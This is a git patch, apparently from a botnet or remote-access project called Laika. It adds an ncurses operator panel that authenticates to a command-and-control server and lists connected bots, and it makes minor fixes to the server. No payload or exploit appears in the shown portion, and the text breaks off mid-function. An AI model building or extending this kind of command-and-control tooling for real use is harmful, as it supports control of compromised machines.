From fb71dfb3c345201846bdb08195d49e965f2f6115 Mon Sep 17 00:00:00 2001 From: CPunch Date: Mon, 14 Feb 2022 00:22:36 -0600 Subject: [PATCH] Added panel! - minor refactoring - TODO: panel & cnc should really use unique keys. maybe add config file? --- .vscode/settings.json | 10 +- CMakeLists.txt | 3 +- cnc/src/cnc.c | 11 +- cnc/src/cpanel.c | 4 + lib/src/lpolllist.c | 9 + panel/CMakeLists.txt | 22 ++ panel/include/panel.h | 93 ++++++++ panel/include/pbot.h | 24 ++ panel/include/pclient.h | 24 ++ panel/src/main.c | 99 +++++++++ panel/src/panel.c | 472 ++++++++++++++++++++++++++++++++++++++++ panel/src/pbot.c | 45 ++++ panel/src/pclient.c | 193 ++++++++++++++++ 13 files changed, 1003 insertions(+), 6 deletions(-) create mode 100644 panel/CMakeLists.txt create mode 100644 panel/include/panel.h create mode 100644 panel/include/pbot.h create mode 100644 panel/include/pclient.h create mode 100644 panel/src/main.c create mode 100644 panel/src/panel.c create mode 100644 panel/src/pbot.c create mode 100644 panel/src/pclient.c diff --git a/.vscode/settings.json b/.vscode/settings.json index f6dbcf0..9c22989 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -24,18 +24,24 @@ "stdio.h": "c", "bit": "c", "limits": "c", - "*.in": "cpp" + "*.in": "cpp", + "lerror.h": "c" }, "cSpell.words": [ + "cnc's", "CWARN", "epollfd", "EPOLLIN", + "evnt", "EWOULD", "ISPROTECTED", "Laika", "LAIKAMAGIC", "LAIKAMAGICLEN", + "LAIKAPKT", "NOMINMAX", - "rmvarray" + "PCLIENT", + "rmvarray", + "wmain" ] } \ No newline at end of file diff --git a/CMakeLists.txt b/CMakeLists.txt index f452e2a..bfbf7a4 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,7 +1,7 @@ cmake_minimum_required(VERSION 3.10) project(Laika) -set(CMAKE_C_STANDARD 99) +set(CMAKE_C_STANDARD 11) set(CMAKE_C_STANDARD_REQUIRED ON) # Set the project as the default startup project for VS @@ -37,3 +37,4 @@ add_subdirectory(lib) add_subdirectory(tools) add_subdirectory(cnc) add_subdirectory(bot) +add_subdirectory(panel) diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 32e439e..2c47736 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -41,6 +41,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); laikaS_endOutPacket(peer); + /* handshake (mostly) complete */ + laikaC_onAddPeer(cnc, peer); + LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); } @@ -98,6 +101,7 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { /* notify connected panels of the newly connected peer */ for (i = 0; i < cnc->panelCount; i++) { + LAIKA_DEBUG("sending new peer to %lx\n", peer); laikaC_sendNewPeer(cnc->panels[i], peer); } } @@ -118,7 +122,7 @@ void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { for (i = 0; i < cnc->panelCount; i++) { if (cnc->panels[i] == panel) { /* we found the index for our panel! */ laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1); - break; + return; } } } @@ -129,6 +133,8 @@ void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { /* insert into authenticated panel table */ cnc->panels[cnc->panelCount++] = panel; + + LAIKA_DEBUG("added panel %lx!\n", panel); } void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { @@ -173,8 +179,6 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { /* add to our pollList */ laikaP_addSock(&cnc->pList, &peer->sock); - laikaC_onAddPeer(cnc, peer); - LAIKA_DEBUG("new peer %lx!\n", peer); continue; } @@ -200,6 +204,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { /* flush pList's outQueue */ for (i = 0; i < cnc->pList.outCount; i++) { peer = cnc->pList.outQueue[i]; + LAIKA_DEBUG("sending OUT to %lx\n", peer); if (!laikaS_handlePeerOut(peer)) laikaC_killPeer(cnc, peer); } diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index 76cb093..54f7108 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -58,6 +58,10 @@ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZ /* they passed! send list of our peers */ laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel); + + /* notify other peers */ + laikaC_onRmvPeer(cnc, panel); + laikaC_onAddPeer(cnc, panel); break; default: LAIKA_ERROR("unknown peerType [%d]!\n", panel->type); diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index 376ad4e..f38c128 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -77,9 +77,18 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { } void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { + int i; + /* remove socket from hashmap */ hashmap_delete(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock}); + /* make sure peer isn't in outQueue */ + for (i = 0; i < pList->outCount; i++) { + if ((void*)pList->outQueue[i] == (void*)sock) { + laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1); + } + } + #ifdef LAIKA_USE_EPOLL /* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */ if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) { diff --git a/panel/CMakeLists.txt b/panel/CMakeLists.txt new file mode 100644 index 0000000..6639ba3 --- /dev/null +++ b/panel/CMakeLists.txt @@ -0,0 +1,22 @@ +cmake_minimum_required(VERSION 3.10) + +set(PANEL_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) +set(CURSES_NEED_NCURSES TRUE) + +project(LaikaPanel VERSION 1.0) + +# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder +set_property(GLOBAL PROPERTY USE_FOLDERS ON) + +find_package(Curses) + +# compile LaikaPanel +file(GLOB_RECURSE PANELSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) +add_executable(LaikaPanel ${PANELSOURCE}) +target_link_libraries(LaikaPanel PUBLIC LaikaLib ${CURSES_LIBRARIES}) + +# add the 'DEBUG' preprocessor definition if we're compiling as Debug +target_compile_definitions(LaikaPanel PUBLIC "$<$:DEBUG>") + +# add include directory +target_include_directories(LaikaPanel PUBLIC ${PANEL_INCLUDEDIR}) diff --git a/panel/include/panel.h b/panel/include/panel.h new file mode 100644 index 0000000..333d5cc --- /dev/null +++ b/panel/include/panel.h @@ -0,0 +1,93 @@ +#ifndef PANELMENU_H +#define PANELMENU_H + +#include +#include + +#define PANEL_CURSES_TIMEOUT 100 +#define COMMONPANELLIST tPanel_list list; + +typedef void (*panelCallback)(void *uData); + +typedef enum { + LIST_LIST, + LIST_TABS, + LIST_MENU, + LIST_NONE +} LISTTYPE; + +struct sPanel_list; +typedef struct sPanel_listItem { + panelCallback callback; + struct sPanel_list *child; + void *uData; + char *name; + struct sPanel_listItem *next; + struct sPanel_listItem *last; + int x, y, width, height; +} tPanel_listItem; + +typedef struct sPanel_list { + tPanel_listItem *itemHead, *selectedItem; + WINDOW *win; + int x, y, width, height; + LISTTYPE type; + bool hidden; +} tPanel_list; + +typedef struct sPanel_tabs { + COMMONPANELLIST; + char *title; +} tPanel_tabs; + +typedef struct sPanel_menu { + COMMONPANELLIST; + char *title; +} tPanel_menu; + +extern WINDOW *wmain; +extern tPanel_list *panel_botList; +extern tPanel_tabs *panel_tabList; + +void panel_init(void); +void panel_cleanUp(void); + +tPanel_list *panel_getActiveList(void); +int panel_getChar(void); +void panel_pushActiveList(tPanel_list *list); +void panel_popActiveList(void); /* also free's the item */ +void panel_draw(void); +bool panel_tick(int input); /* ticks activeList list, returns true if input was accepted/valid */ +void panel_setTimeout(int timeout); + +tPanel_listItem *panelL_newListItem(tPanel_list *list, tPanel_list *child, char *name, panelCallback callback, void *uData); +void panelL_freeListItem(tPanel_list *list, tPanel_listItem *item); + +/* call *after* adding listItems with panelL_newListItem */ +void panelL_init(tPanel_list *list); +void panelL_draw(tPanel_list *list); +void panelL_free(tPanel_list *list); +bool panelL_tick(tPanel_list *list, int ch); +void panelL_setHidden(tPanel_list *list, bool hidden); +void panelL_setTimeout(tPanel_list *list, int timeout); + +/* handles selection */ +void panelL_nextItem(tPanel_list *list); +void panelL_prevItem(tPanel_list *list); +void panelL_selectItem(tPanel_list *list); /* calls select item's callback */ + +/* center list */ +tPanel_list *panelL_newList(void); +void panelL_freeList(tPanel_list *list); + +/* top tabs */ +tPanel_tabs *panelL_newTabs(char *title); +void panelL_freeTabs(tPanel_tabs *tabs); + +/* menu popup */ +tPanel_menu *panelL_newMenu(char *title); +void panelL_freeMenu(tPanel_menu *menu); + +#undef COMMONPANELLIST + +#endif \ No newline at end of file diff --git a/panel/include/pbot.h b/panel/include/pbot.h new file mode 100644 index 0000000..c2161fd --- /dev/null +++ b/panel/include/pbot.h @@ -0,0 +1,24 @@ +#ifndef PBOT_H +#define PBOT_H + +#include "laika.h" +#include "lpeer.h" +#include "lrsa.h" + +#include "panel.h" + +typedef struct sPanel_bot { + uint8_t pub[crypto_kx_PUBLICKEYBYTES]; + PEERTYPE type; + tPanel_listItem *item; + char *name; /* heap allocated string */ +} tPanel_bot; + +tPanel_bot *panelB_newBot(uint8_t *pubKey); +void panelB_freeBot(tPanel_bot *bot); + +/* search connected bots by public key */ +tPanel_bot *panelB_getBot(uint8_t *pubKey); +void panelB_setItem(tPanel_bot *bot, tPanel_listItem *item); + +#endif \ No newline at end of file diff --git a/panel/include/pclient.h b/panel/include/pclient.h new file mode 100644 index 0000000..770a96e --- /dev/null +++ b/panel/include/pclient.h @@ -0,0 +1,24 @@ +#ifndef PCLIENT_H +#define PCLIENT_H + +#include "laika.h" +#include "lpeer.h" +#include "lpolllist.h" +#include "pbot.h" + +typedef struct sPanel_client { + uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; + struct sLaika_pollList pList; + struct sLaika_peer *peer; +} tPanel_client; + +tPanel_client *panelC_newClient(); +void panelC_freeClient(tPanel_client *client); + +void panelC_connectToCNC(tPanel_client *client, char *ip, char *port); /* can throw a LAIKA_ERROR */ +bool panelC_poll(tPanel_client *client, int timeout); + +void panelC_addBot(tPanel_bot *bot); +void panelC_rmvBot(tPanel_bot *bot); + +#endif diff --git a/panel/src/main.c b/panel/src/main.c new file mode 100644 index 0000000..d284a9e --- /dev/null +++ b/panel/src/main.c @@ -0,0 +1,99 @@ +#include "laika.h" +#include "lerror.h" + +#include "panel.h" +#include "pclient.h" + +#define STRING(x) #x +#define MACROLITSTR(x) STRING(x) + +tPanel_client *client; +tPanel_tabs *panel_tabList; +tPanel_list *panel_botList; + +void connectToCNC(void *uData) { + tPanel_listItem *curr; + int ch; + + /* hide main menu */ + panelL_setHidden(panel_getActiveList(), true); + + /* init global lists */ + panel_tabList = panelL_newTabs("Laika CNC Panel"); + panel_botList = panelL_newList(); + + /* init tabs */ + panelL_newListItem(&panel_tabList->list, panel_botList, "Bot List", NULL, NULL); + panelL_init(&panel_tabList->list); + panelL_init(panel_botList); + + addstr("Connecting to CNC with pubkey [" LAIKA_PUBKEY "]..."); + refresh(); + + client = panelC_newClient(); + panelC_connectToCNC(client, "127.0.0.1", "13337"); + + /* main panel loop */ + panel_pushActiveList(&panel_tabList->list); + while ((ch = panel_getChar()) != 'q' && laikaS_isAlive((&client->peer->sock))) { + if (!panel_tick(ch)) { + /* if we got an event to handle, we *probably* have more events to handle so temporarily make ncurses non-blocking */ + if (panelC_poll(client, 0)) { + panel_setTimeout(0); /* makes ncurses non-blocking */ + panel_draw(); + } else { + /* wait to poll if we didn't receive any new messages */ + panel_setTimeout(PANEL_CURSES_TIMEOUT); + } + } else { + /* we got input, redraw screen */ + panel_draw(); + } + } + + /* free bots in botList */ + curr = panel_botList->itemHead; + while (curr != NULL) { + panelB_freeBot(curr->uData); + curr = curr->next; + } + + /* since panel_botList is a child of one of panel_tabList's items, it + gets free'd with panel_tabList. so popping it frees both */ + panel_popActiveList(); + panelC_freeClient(client); + + /* re-show main menu */ + panelL_setHidden(panel_getActiveList(), false); +} + +void quitLaika(void *uData) { + LAIKA_ERROR("quit!\n") +} + +int main(int argv, char **argc) { + tPanel_menu *menu; + int ch; + + /* init ncurses */ + panel_init(); + + menu = panelL_newMenu("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR)); + panelL_newListItem(&menu->list, NULL, "Quit", quitLaika, NULL); + panelL_newListItem(&menu->list, NULL, "- Connect to CNC", connectToCNC, NULL); + + /* start main menu */ + panelL_init(&menu->list); + panel_pushActiveList(&menu->list); + LAIKA_TRY + while ((ch = panel_getChar()) != 'q') { + if (panel_tick(ch)) + panel_draw(); + } + LAIKA_TRYEND + panel_popActiveList(); + + /* cleanup */ + panel_cleanUp(); + return 0; +} \ No newline at end of file diff --git a/panel/src/panel.c b/panel/src/panel.c new file mode 100644 index 0000000..b67eaef --- /dev/null +++ b/panel/src/panel.c @@ -0,0 +1,472 @@ +#include +#include +#include "lmem.h" +#include "lerror.h" +#include "panel.h" +#include "pbot.h" + +/* i don't expect to ever be 16 layers deep of menus */ +#define ACTIVESIZE 16 + +WINDOW *wmain; + +tPanel_list *activeList[ACTIVESIZE] = { NULL }; +int activeListSize = -1; + +void printTitle(WINDOW *win, char *text, int width, int x, int y) { + int pad = (width - (strlen(text) + 4)) / 2; + mvwprintw(win, y, x+pad, "| %s |", text); +} + +void printCenter(WINDOW *win, char *text, int width, int x, int y) { + int strLength = strlen(text); + int pad = (width - strLength) / 2; + mvwprintw(win, y, x, "%*s%s%*s", pad, "", text, (width-pad-strLength), ""); +} + +void printLine(WINDOW *win, char *text, int width, int x, int y) { + int strLength = strlen(text); + int pad = (width - strLength); + mvwprintw(win, y, x, "%s%*s\n", text, pad, ""); +} + +void panel_init() { + if ((wmain = initscr()) == NULL) + LAIKA_ERROR("Failed to init ncurses!") + + activeListSize = -1; + + /* setup ncurses */ + cbreak(); + noecho(); + timeout(1); + keypad(stdscr, true); + curs_set(0); /* hide the default screen cursor. */ + + refresh(); +} + +void panel_cleanUp() { + /* clean up ncurses */ + delwin(wmain); + endwin(); +} + +tPanel_list *panel_newBaseList(size_t sz, LISTTYPE type) { + tPanel_list *list = laikaM_malloc(sz); + + list->itemHead = NULL; + list->selectedItem = NULL; + list->win = NULL; + list->x = 1; + list->y = 0; + list->height = 0; + list->type = type; + list->hidden = false; + + return list; +} + +void panel_freeBaseList(tPanel_list *list) { + /* free linked list */ + tPanel_listItem *curr = list->itemHead, *last = NULL; + + while(curr != NULL) { + last = curr; + curr = curr->next; + if (last != NULL) + panelL_freeListItem(list, last); + } + + /* remove ncurses window */ + wclear(list->win); + delwin(list->win); + + /* free list */ + laikaM_free(list); +} + +tPanel_list *panel_getActiveList() { + return activeList[activeListSize]; +} + +int panel_getChar() { + /* if we have an activeList panel, grab the input from that otherwise return -1 */ + if (activeList) + return wgetch(panel_getActiveList()->win); + return -1; +} + +void panel_pushActiveList(tPanel_list *list) { + /* set activeList window & draw */ + activeList[++activeListSize] = list; + panelL_draw(panel_getActiveList()); +} + +void panel_popActiveList() { + panelL_freeList(activeList[activeListSize--]); + + if (activeListSize >= 0) + panelL_init(panel_getActiveList()); +} + +void panel_draw(void) { + int i; + + /* draw active panels from bottom most (pushed first) to top most (pushed last) + this way, new-er windows will be drawn on-top of older ones */ + clear(); + for (i = 0; i <= activeListSize; i++) { + panelL_draw(activeList[i]); + } +} + +bool panel_tick(int ch) { + int i; + /* tick each panel from top most (pushed last) to bottom most (pushed first) + this way, the top-most windows/lists will be the most interactive */ + + for (i = activeListSize; i >= 0; i--) { + if (panelL_tick(activeList[i], ch)) + return true; + } + + /* no ticks returned any results */ + return false; +} + +void panel_setTimeout(int timeout) { + panelL_setTimeout(panel_getActiveList(), timeout); +} + +/* ==================================================[[ List ]]================================================== */ + +tPanel_list *panelL_newList(void) { + return (tPanel_list*)panel_newBaseList(sizeof(tPanel_list), LIST_LIST); +} + +void panelL_freeList(tPanel_list *list) { + panel_freeBaseList(list); +} + +void panelL_initList(tPanel_list *list) { + tPanel_listItem *curr = list->itemHead; + int numLines = 0; + + /* count # of lines */ + while (curr != NULL) { + numLines++; + curr = curr->next; + } + + /* create ncurses window */ + list->x = 0; + list->y = 2; + list->width = COLS; + list->height = numLines; + list->win = newwin(list->height, list->width, list->y, list->x); + keypad(list->win, TRUE); /* setup keyboard input */ + wtimeout(list->win, 0); +} + +void panelL_drawList(tPanel_list *list) { + tPanel_listItem *curr = list->itemHead; + int i = 0; + + /* write each line */ + while (curr != NULL) { + /* highlight selected option */ + if (curr == list->selectedItem) + wattron(list->win, A_STANDOUT); + + printLine(list->win, curr->name, list->width, 0, i++); + wattroff(list->win, A_STANDOUT); + curr = curr->next; + } + + /* push to screen */ + wrefresh(list->win); +} + +bool panelL_tickList(tPanel_list *list, int ch) { + switch (ch) { + case KEY_DOWN: panelL_nextItem(list); break; + case KEY_UP: panelL_prevItem(list); break; + default: return false; + } + + return true; +} + +/* ==================================================[[ Tabs ]]================================================== */ + +tPanel_tabs *panelL_newTabs(char *title) { + tPanel_tabs *tabs = (tPanel_tabs*)panel_newBaseList(sizeof(tPanel_tabs), LIST_TABS); + tabs->title = title; + tabs->list.width = strlen(title) + 4; + + return tabs; +} + +void panelL_freeTabs(tPanel_tabs *tabs) { + panel_freeBaseList((tPanel_list*)tabs); +} + +void panelL_initTabs(tPanel_list *tabs) { + tPanel_listItem *curr = tabs->itemHead; + int numTabs = 0; + + if (tabs->win) + delwin(tabs->win); + + /* get tab count */ + while (curr != NULL) { + curr = curr->next; + numTabs++; + } + + tabs->x = 0; + tabs->y = 0; + if (numTabs <= 1) + tabs->width = COLS; + else + tabs->width = COLS/numTabs; + tabs->height = 2; + tabs->win = newwin(tabs->height, COLS, tabs->y, tabs->x); + + keypad(tabs->win, true); + wtimeout(tabs->win, 0); +} + +void panelL_drawTabs(tPanel_tabs *tabs) { + tPanel_listItem *curr = tabs->list.itemHead; + int i = 0; + + /* write title */ + printCenter(tabs->list.win, tabs->title, COLS, 0, 0); + + /* write each tab */ + while (curr != NULL) { + /* highlight selected option */ + if (curr == tabs->list.selectedItem) + wattron(tabs->list.win, A_STANDOUT); + + printCenter(tabs->list.win, curr->name, tabs->list.width, (i++)*tabs->list.width, 1); + curr = curr->next; + wattroff(tabs->list.win, A_STANDOUT); + } + + /* draw tab */ + refresh(); + if (tabs->list.selectedItem && tabs->list.selectedItem->child) + panelL_draw(tabs->list.selectedItem->child); + + wrefresh(tabs->list.win); +} + +bool panelL_tickTabs(tPanel_tabs *tabs, int ch) { + switch (ch) { + case KEY_RIGHT: panelL_nextItem(&tabs->list); break; + case KEY_LEFT: panelL_prevItem(&tabs->list); break; + /* tick child */ + default: return (tabs->list.selectedItem && tabs->list.selectedItem->child) ? panelL_tick(tabs->list.selectedItem->child, ch) : false; + } + + return true; +} + +/* ==================================================[[ Menu ]]================================================== */ + +tPanel_menu *panelL_newMenu(char *title) { + tPanel_menu *menu = (tPanel_menu*)panel_newBaseList(sizeof(tPanel_menu), LIST_MENU); + menu->title = title; + menu->list.width = strlen(title) + 4; + + return menu; +} + +void panelL_freeMenu(tPanel_menu *menu) { + panel_freeBaseList((tPanel_list*)menu); +} + +void panelL_initMenu(tPanel_list *menu) { + tPanel_listItem *curr = menu->itemHead; + + if (menu->win) + delwin(menu->win); + + /* get max line length & menu height */ + menu->height = 2; + while (curr != NULL) { + if (curr->width+6 > menu->width) + menu->width = curr->width+6; + + curr = curr->next; + menu->height++; + } + + menu->y = (LINES-menu->height)/2; + menu->x = (COLS-menu->width)/2; + + menu->win = newwin(menu->height, menu->width, menu->y, menu->x); + keypad(menu->win, true); + wtimeout(menu->win, 0); +} + +void panelL_drawMenu(tPanel_menu *menu) { + tPanel_listItem *curr = menu->list.itemHead; + int i = 1; + + /* write each line */ + while (curr != NULL) { + /* highlight selected option */ + if (curr == menu->list.selectedItem) + wattron(menu->list.win, A_STANDOUT); + + printLine(menu->list.win, curr->name, menu->list.width-4, 2, i++); + wattroff(menu->list.win, A_STANDOUT); + curr = curr->next; + } + + /* write the title & border */ + box(menu->list.win, 0, 0); + printTitle(menu->list.win, menu->title, menu->list.width, 0, 0); + + /* push to screen */ + wrefresh(menu->list.win); +} + +bool panelL_tickMenu(tPanel_menu *menu, int ch) { + switch (ch) { + case KEY_UP: panelL_prevItem(&menu->list); break; + case KEY_DOWN: panelL_nextItem(&menu->list); break; + case '\n': case KEY_ENTER: panelL_selectItem(&menu->list); break; + default: return false; + } + + panelL_drawMenu(menu); + return true; +} + +/* ==================================================[[ Panel Direct ]]================================================== */ + +tPanel_listItem *panelL_newListItem(tPanel_list *list, tPanel_list *child, char *name, panelCallback callback, void *uData) { + tPanel_listItem *item = laikaM_malloc(sizeof(tPanel_listItem)); + + item->child = child; + item->callback = callback; + item->uData = uData; + item->name = name; + item->last = NULL; + item->next = NULL; + item->width = strlen(name); + item->height = 1; + item->x = 0; + item->y = 0; + + /* add to list */ + if (list->itemHead) + list->itemHead->last = item; + + item->next = list->itemHead; + list->itemHead = item; + list->selectedItem = item; + + return item; +} + +void panelL_freeListItem(tPanel_list *list, tPanel_listItem *item) { + if (list->itemHead == item) { + if (item->next) + item->next->last = NULL; + list->itemHead = item->next; + } else { + /* unlink from list */ + if (item->last) + item->last->next = item->next; + + if (item->next) + item->next->last = item->last; + } + + /* free child */ + if (item->child) + panelL_freeList(item->child); + + /* update selected item */ + if (list->selectedItem == item) + list->selectedItem = list->itemHead; + + laikaM_free(item); +} + +void panelL_nextItem(tPanel_list *list) { + if (!list->selectedItem || !list->selectedItem->next) /* sanity check */ + return; + + list->selectedItem = list->selectedItem->next; +} + +void panelL_prevItem(tPanel_list *list) { + if (!list->selectedItem || !list->selectedItem->last) /* sanity check */ + return; + + list->selectedItem = list->selectedItem->last; +} + +void panelL_selectItem(tPanel_list *list) { + if (!list->selectedItem || !list->selectedItem->callback) /* sanity check */ + return; + + list->selectedItem->callback(list->selectedItem->uData); +} + +void panelL_init(tPanel_list *list) { + switch (list->type) { + case LIST_LIST: panelL_initList(list); break; + case LIST_TABS: panelL_initTabs(list); break; + case LIST_MENU: panelL_initMenu(list); break; + default: LAIKA_ERROR("Malformed tPanel_list!\n"); break; + } +} + +void panelL_free(tPanel_list *list) { + switch (list->type) { + case LIST_LIST: panelL_freeList(list); break; + case LIST_TABS: panelL_freeTabs((tPanel_tabs*)list); break; + case LIST_MENU: panelL_freeMenu((tPanel_menu*)list); break; + default: LAIKA_ERROR("Malformed tPanel_list!\n"); break; + } +} + +void panelL_draw(tPanel_list *list) { + if (list->hidden) /* don't draw a hidden list */ + return; + + switch (list->type) { + case LIST_LIST: panelL_drawList(list); break; + case LIST_TABS: panelL_drawTabs((tPanel_tabs*)list); break; + case LIST_MENU: panelL_drawMenu((tPanel_menu*)list); break; + default: LAIKA_ERROR("Malformed tPanel_list!\n"); break; + } +} + +bool panelL_tick(tPanel_list *list, int ch) { + if (list->hidden) /* don't tick a hidden list */ + return false; + + switch (list->type) { + case LIST_LIST: return panelL_tickList(list, ch); + case LIST_TABS: return panelL_tickTabs((tPanel_tabs*)list, ch); + case LIST_MENU: return panelL_tickMenu((tPanel_menu*)list, ch); + return false; + } +} + +void panelL_setHidden(tPanel_list *list, bool hidden) { + list->hidden = hidden; +} + +void panelL_setTimeout(tPanel_list *list, int timeout) { + wtimeout(list->win, timeout); +} \ No newline at end of file diff --git a/panel/src/pbot.c b/panel/src/pbot.c new file mode 100644 index 0000000..7aee73f --- /dev/null +++ b/panel/src/pbot.c @@ -0,0 +1,45 @@ +#include "lmem.h" +#include "lerror.h" +#include "pbot.h" + +#include "panel.h" + +tPanel_bot *panelB_newBot(uint8_t *pubKey) { + tPanel_bot *bot = laikaM_malloc(sizeof(tPanel_bot)); + bot->name = laikaM_malloc(256); + + sodium_bin2hex(bot->name, 256, pubKey, crypto_kx_PUBLICKEYBYTES); + + /* copy pubKey to bot's pubKey */ + memcpy(bot->pub, pubKey, crypto_kx_PUBLICKEYBYTES); + + return bot; +} + +void panelB_freeBot(tPanel_bot *bot) { + laikaM_free(bot->name); + laikaM_free(bot); +} + +/* search connected bots by public key */ +tPanel_bot *panelB_getBot(uint8_t *pubKey) { + tPanel_listItem *curr = panel_botList->itemHead; + tPanel_bot *bot; + + while (curr != NULL) { + bot = (tPanel_bot*)curr->uData; + + /* check pubKeys */ + if (memcmp(pubKey, bot->pub, crypto_kx_PUBLICKEYBYTES) == 0) + return bot; /* they match! */ + + curr = curr->next; + } + + /* no match found :( */ + return NULL; +} + +void panelB_setItem(tPanel_bot *bot, tPanel_listItem *item) { + bot->item = item; +} \ No newline at end of file diff --git a/panel/src/pclient.c b/panel/src/pclient.c new file mode 100644 index 0000000..931950a --- /dev/null +++ b/panel/src/pclient.c @@ -0,0 +1,193 @@ +#include "lmem.h" +#include "lerror.h" +#include "pclient.h" +#include "panel.h" + +void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + tPanel_client *client = (tPanel_client*)uData; + uint8_t endianness = laikaS_readByte(&peer->sock); + + peer->sock.flipEndian = endianness != laikaS_isBigEndian(); +} + +void handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; + uint8_t type; + + /* read newly connected peer's pubKey */ + laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); + + /* read peer's peerType */ + type = laikaS_readByte(&peer->sock); + + /* add peer */ + switch (type) { + case PEER_BOT: { + tPanel_bot *bot = panelB_newBot(pubKey); + panelC_addBot(bot); + break; + } + default: + LAIKA_WARN("unknown peer type? [%d]\n", type); + } +} + +void handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; + uint8_t type; + + /* read newly connected peer's pubKey */ + laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); + + /* read peer's peerType */ + type = laikaS_readByte(&peer->sock); + + /* find peer by pubkey & rmv it */ + switch (type) { + case PEER_BOT: { + tPanel_bot *bot = panelB_getBot(pubKey); + if (bot != NULL) + panelC_rmvBot(bot); + break; + } + default: + LAIKA_WARN("unknown peer type? [%d]\n", type); + } +} + +LAIKAPKT_SIZE panelC_pktSizeTbl[LAIKAPKT_MAXNONE] = { + [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t), + [LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */ + [LAIKAPKT_AUTHENTICATED_RMV_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */ +}; + +PeerPktHandler panelC_handlerTbl[LAIKAPKT_MAXNONE] = { + [LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse, + [LAIKAPKT_AUTHENTICATED_ADD_PEER] = handleAddPeer, + [LAIKAPKT_AUTHENTICATED_RMV_PEER] = handleRmvPeer, +}; + +tPanel_client *panelC_newClient() { + tPanel_client *client = laikaM_malloc(sizeof(tPanel_client)); + size_t _unused; + + laikaP_initPList(&client->pList); + client->peer = laikaS_newPeer( + panelC_handlerTbl, + panelC_pktSizeTbl, + &client->pList, + (void*)client + ); + + /* load authenticated keypair */ + if (sodium_init() < 0) { + panelC_freeClient(client); + LAIKA_ERROR("LibSodium failed to initialize!\n"); + } + + if (sodium_hex2bin(client->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { + panelC_freeClient(client); + LAIKA_ERROR("Failed to init public key!\n"); + } + + if (sodium_hex2bin(client->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) { + panelC_freeClient(client); + LAIKA_ERROR("Failed to init private key!\n"); + } + + /* read cnc's public key into peerPub */ + if (sodium_hex2bin(client->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { + panelC_freeClient(client); + LAIKA_ERROR("Failed to init cnc public key!\n"); + } + + return client; +} + +void panelC_freeClient(tPanel_client *client) { + laikaS_freePeer(client->peer); + laikaP_cleanPList(&client->pList); + laikaM_free(client); +} + +void panelC_connectToCNC(tPanel_client *client, char *ip, char *port) { + struct sLaika_socket *sock = &client->peer->sock; + + /* setup socket */ + laikaS_connect(sock, ip, port); + laikaS_setNonBlock(sock); + + laikaP_addSock(&client->pList, sock); + + /* queue handshake request */ + laikaS_startOutPacket(client->peer, LAIKAPKT_HANDSHAKE_REQ); + laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); + laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); + laikaS_writeByte(sock, LAIKA_VERSION_MINOR); + laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */ + laikaS_endOutPacket(client->peer); + laikaS_setSecure(client->peer, true); + + if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, 